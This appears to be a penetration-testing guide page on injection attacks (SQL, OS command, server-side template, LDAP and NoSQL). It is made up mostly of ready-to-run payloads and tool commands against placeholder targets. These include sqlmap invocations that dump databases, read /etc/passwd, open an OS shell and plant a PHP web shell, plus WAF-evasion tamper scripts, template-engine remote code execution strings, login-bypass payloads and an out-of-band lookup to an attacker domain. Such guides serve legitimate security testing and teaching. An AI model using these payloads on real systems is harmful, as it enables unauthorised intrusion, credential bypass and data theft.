Skip to main content

Injection Attacks

WSTG-INPVAL-01 through WSTG-INPVAL-20


The Core Concept​

Injection flaws occur when untrusted input is interpreted as code or a query by an interpreter on the backend - SQL engine, OS shell, template engine, LDAP directory, etc. The attacker's data becomes instructions. If the application doesn't separate data from instructions, any input that reaches an interpreter is a potential injection point.

Test every input. URL parameters, POST fields, JSON keys and values, headers (User-Agent, Referer, X-Forwarded-For, Cookie), and filenames are all potential vectors.


SQL Injection​

Understanding SQLi​

SQL injection occurs when user input is concatenated directly into a SQL query without parameterization. The attacker closes the intended query context and appends their own SQL.

-- Vulnerable query:
SELECT * FROM users WHERE username = 'INPUT' AND password = 'INPUT'

-- Attacker supplies: admin' --
-- Resulting query:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
-- The password check is commented out. Login as admin with no password.

Types of SQLi:

TypeHow It WorksDetection
Error-basedDatabase error messages leak query structureTrigger errors with ', ", )
Union-basedUNION SELECT appends attacker-controlled result set to real queryEnumerate columns, extract data
Blind booleanAsk true/false questions; infer data from response differencesAND 1=1 vs AND 1=2
Blind time-basedForce conditional delays to infer dataAND SLEEP(5) (MySQL) / AND pg_sleep(5) (PostgreSQL)
Out-of-bandExfiltrate data via DNS/HTTP (when other methods unavailable)LOAD_FILE(), UTL_HTTP

Manual SQLi testing​

Always test manually first before running sqlmap. Confirm the injection is real.

# Basic string terminator tests - look for errors or behavioral changes
curl -si "http://target.com/item?id=1'"
curl -si "http://target.com/item?id=1\""
curl -si "http://target.com/item?id=1;"
curl -si "http://target.com/item?id=1--"
curl -si "http://target.com/item?id=1 AND 1=1"
curl -si "http://target.com/item?id=1 AND 1=2"

# POST field
curl -si -X POST http://target.com/login \
-d "username=admin'&password=test"

# Time-based blind (MySQL) - if response takes 5+ seconds, SQLi confirmed
curl -si "http://target.com/item?id=1 AND SLEEP(5)" -m 10

# Time-based blind (PostgreSQL)
curl -si "http://target.com/item?id=1;SELECT pg_sleep(5)--" -m 10

# Time-based blind (MSSQL)
curl -si "http://target.com/item?id=1;WAITFOR DELAY '0:0:5'--" -m 10

# Union-based - determine number of columns first
curl -si "http://target.com/item?id=1 ORDER BY 1--" # No error
curl -si "http://target.com/item?id=1 ORDER BY 5--" # Error = fewer than 5 columns

# Find injectable column (get a visible value in the output)
curl -si "http://target.com/item?id=-1 UNION SELECT null,null,null--"
curl -si "http://target.com/item?id=-1 UNION SELECT 'INJECT_TEST',null,null--"

sqlmap - Automated SQLi exploitation​

# Basic GET parameter test
sqlmap -u "http://target.com/item?id=1"

# POST parameter test
sqlmap -u "http://target.com/login" --data="username=admin&password=test"

# JSON POST body
sqlmap -u "http://target.com/api/user" \
--data='{"id":1}' --headers="Content-Type: application/json"

# With session cookie (authenticated)
sqlmap -u "http://target.com/profile?id=1" \
--cookie="session=abc123"

# Crawl and find injectable parameters automatically
sqlmap -u "http://target.com" --crawl=3

# Specify the parameter to test
sqlmap -u "http://target.com/item?id=1&name=test" -p id

# Specify DBMS to skip detection (faster)
sqlmap -u "http://target.com/item?id=1" --dbms=mysql

# Enumerate databases
sqlmap -u "http://target.com/item?id=1" --dbs

# Enumerate tables in a specific database
sqlmap -u "http://target.com/item?id=1" -D target_db --tables

# Dump a specific table
sqlmap -u "http://target.com/item?id=1" -D target_db -T users --dump

# Dump all data (use sparingly - generates heavy traffic)
sqlmap -u "http://target.com/item?id=1" --dump-all

# Increase detection aggressiveness (level 1-5, risk 1-3)
# Higher level/risk = more tests and more aggressive payloads
sqlmap -u "http://target.com/item?id=1" --level=3 --risk=2

# WAF evasion - tamper scripts modify payloads to bypass filters
sqlmap -u "http://target.com/item?id=1" --tamper=space2comment,between,randomcase

# Attempt OS command execution (if DBMS has file/exec privileges)
sqlmap -u "http://target.com/item?id=1" --os-shell

# Attempt to read files from the server (MySQL)
sqlmap -u "http://target.com/item?id=1" --file-read=/etc/passwd

# Write a web shell (requires write privileges to web root)
sqlmap -u "http://target.com/item?id=1" \
--file-write=/tmp/shell.php --file-dest=/var/www/html/shell.php

Useful tamper scripts for WAF bypass:

Tamper ScriptWhat It Does
space2commentReplaces spaces with /**/
betweenReplaces > and < with BETWEEN
randomcaseRandomizes keyword case (SeLeCt)
base64encodeBase64-encodes the payload
charencodeURL-encodes characters
greatestReplaces > operator with GREATEST()
modsecurityversionedWraps queries in versioned MySQL comments

Command Injection​

Command injection occurs when user input is passed to an OS shell function (exec(), system(), popen(), backticks, etc.) without sanitization. The attacker appends shell metacharacters to break out of the intended command and execute arbitrary OS commands.

Manual detection​

# Test metacharacters - look for different responses, delays, or errors
# Separators: ; && || | ` $()
curl -si "http://target.com/ping?host=127.0.0.1;id"
curl -si "http://target.com/ping?host=127.0.0.1|id"
curl -si "http://target.com/ping?host=127.0.0.1&&id"
curl -si "http://target.com/ping?host=127.0.0.1%0aid" # newline

# Time-based blind command injection (if output isn't reflected)
curl -si "http://target.com/ping?host=127.0.0.1;sleep+5" -m 10
curl -si "http://target.com/ping?host=127.0.0.1|sleep%205" -m 10

# Out-of-band - trigger DNS lookup to a controlled host
curl -si "http://target.com/ping?host=127.0.0.1;nslookup+ATTACKER_DOMAIN"

Common injection contexts:

  • ping, nslookup, whois utilities called with user-supplied hostnames
  • File conversion/processing utilities (ImageMagick, ffmpeg) with user-supplied filenames
  • sendmail with user-supplied email addresses
  • Log viewing/searching with user-supplied filenames

commix - Automated command injection​

# Basic test
commix --url="http://target.com/ping?host=127.0.0.1"

# POST parameter
commix --url="http://target.com/process" --data="host=127.0.0.1"

# Cookie-based
commix --url="http://target.com/ping?host=127.0.0.1" \
--cookie="session=abc123"

# All-techniques mode
commix --url="http://target.com/ping?host=127.0.0.1" --all

Server-Side Template Injection (SSTI)​

Template engines (Jinja2, Twig, Freemarker, Pebble, Velocity) allow dynamic content generation. If user input is rendered by the template engine rather than treated as data, the attacker can execute template syntax - which often leads to arbitrary code execution.

Detection​

# Universal probe - if any of these render a computed value instead of the literal string,
# the input is being interpreted by a template engine
curl -si "http://target.com/greet?name={{7*7}}" # Should return 49 if Jinja2/Twig
curl -si "http://target.com/greet?name=${7*7}" # Should return 49 if FreeMarker/Pebble
curl -si "http://target.com/greet?name=<%= 7*7 %>" # ERB (Ruby)

# Differentiate Jinja2 vs Twig
curl -si "http://target.com/greet?name={{7*'7'}}"
# Jinja2 returns: 7777777
# Twig returns: 49

Exploitation by template engine​

# Jinja2 (Python) - read a file
curl -si "http://target.com/greet?name={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}"

# Jinja2 - simplified RCE payload (URL-encode as needed)
# {{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Twig (PHP) - code execution
# {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# FreeMarker (Java)
# <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
tip

SSTI template payloads often need URL encoding when delivered via GET parameters. Use curl --data-urlencode or manually encode { as %7B and } as %7D.


LDAP Injection​

LDAP injection occurs in applications that construct LDAP queries using user input - common in enterprise applications with Active Directory authentication.

# Test with LDAP special characters - look for errors or unexpected success
# Characters: * ( ) \ NUL
curl -si -X POST http://target.com/login \
-d "username=admin)(&)&password=anything"

# Classic LDAP authentication bypass
# Intended query: (&(uid=INPUT)(userPassword=INPUT))
# Injected: (&(uid=admin)(*)) - wildcard matches any password
curl -si -X POST http://target.com/login \
-d "username=admin)(*))%00&password=anything"

# Wildcard username - enumerate users
curl -si -X POST http://target.com/login \
-d "username=a*&password=anything"

NoSQL Injection​

MongoDB and other NoSQL databases are injectable via JSON operator manipulation rather than SQL syntax.

# MongoDB - operator injection in JSON body
# Intended: {"username": "admin", "password": "test"}
# Injected: {"username": "admin", "password": {"$gt": ""}}
# "$gt": "" means "password is greater than empty string" = always true

curl -si -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$gt":""}}'

# Regex injection - match any password starting with known characters
curl -si -X POST http://target.com/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$regex":"^p"}}'

# URL parameter NoSQL injection
curl -si "http://target.com/user?id[$ne]=null"
curl -si "http://target.com/user?id[$gt]="